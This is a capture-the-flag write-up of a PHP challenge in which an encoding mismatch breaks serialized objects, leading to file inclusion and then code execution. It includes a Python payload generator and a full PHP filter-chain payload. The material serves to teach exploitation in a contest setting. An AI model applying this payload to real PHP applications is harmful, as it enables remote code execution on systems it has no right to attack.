Welcome to the VirusVault, the most secure way to store dangerous viruses. Surely nothing can go wrong storing them this way! http://chals.tisc25.ctf.sg:26182 Attached files: virus_vault.zip

Finally, a web challenge with source! This is a pretty straightforward PHP challenge and a refreshing change of pace from the Cloud challenge.

The PHP server allows us to store and load virus objects. It does so via de/serialization.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    public function storeVirus(Virus $virus)
    {
        $ser = serialize($virus);
        $quoted = $this->pdo->quote($ser);
        $encoded = mb_convert_encoding($quoted, 'UTF-8', 'ISO-8859-1');

        try {
            $this->pdo->query("INSERT INTO virus_vault (virus) VALUES ($encoded)");
            return $this->pdo->lastInsertId();
        } catch (Exception $e) {
            throw new Exception("An error occured while locking away the dangerous virus!");
        }
    }

    public function fetchVirus(string $id)
    {
        try {
            $quoted = $this->pdo->quote(intval($id));
            $result = $this->pdo->query("SELECT virus FROM virus_vault WHERE id == $quoted");
            if ($result !== false) {
                $row = $result->fetch(PDO::FETCH_ASSOC);
                if ($row && isset($row['virus'])) {
                    return unserialize($row['virus']);
                }
            }
            return null;
        } catch (Exception $e) {
            echo "An error occured while fetching your virus... Run!";
            print_r($e);
        }
        return null;
    }

We can specify a virus name and virus species when storing it. We can choose the name freely but the species must be one of a pre-defined set.

The first vulnerability is quite clear: there is a mismatch in the serialization and deserialization protocols. The serialized object is further processed before it is stored. Specifically, special characters are escaped using PDO::quote() and then its encoding is converted from UTF-8 to ISO-8859-1. However, this processing is not reversed before it is deserialized. This is a common vulnerable pattern in web challenges: sanitizing input, processing it, then using the processed input. This can lead to unexpected outcomes when the processing defeats the sanitization.

Anyway, PHP serialization is one such case of this bug class. This is a good blog post showing how brittle PHP serialization is to changes in length. We can abuse the encoding conversion to change the length of the serialized payload by supplying unicode characters like é. This allows us to escape the name property and define an arbitrary virus species property. This Python script generates such a name

1
2
3
4
5
6
7
8
9
10
11
prefix = "abc"
mid = ""
winner = "IronHydra"  # replace with arbitrary species name
suffix = f'";s:1:"x";s:1:"x";s:7:"species";s:{len(winner)}:"{winner}";}}'

if len(suffix) % 2 == 1:
    suffix += 'a'
k = len(suffix) // 2
mid = "é." * k
name = prefix + mid + suffix
print(name)

Now that we can generate arbitrary species, we can target this function:

1
2
3
4
5
    public function printInfo()
    {
        echo "Name: " . htmlspecialchars($this->name) . "<br>";
        include $this->species . ".txt";
    }

Normally, species is restricted to a pre-defined list, so printInfo() simply prints out one of the text files corresponding to that species. With full control over species name, we now have an (almost) LFI. Escalating this to RCE in PHP is a classic problem, and Hacktricks has the answer as usual – PHP filters.

Final payload:

1
2
3
4
5
6
7
8
9
10
11
prefix = "abc"
mid = ""
winner = r'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'
suffix = f'";s:1:"x";s:1:"x";s:7:"species";s:{len(winner)}:"{winner}";}}'

if len(suffix) % 2 == 1:
    suffix += 'a'
k = len(suffix) // 2
mid = "é." * k
name = prefix + mid + suffix
print(name)

Flag: TISC{pHp_d3s3ri4liz3_4_fil3_inc1us!0n}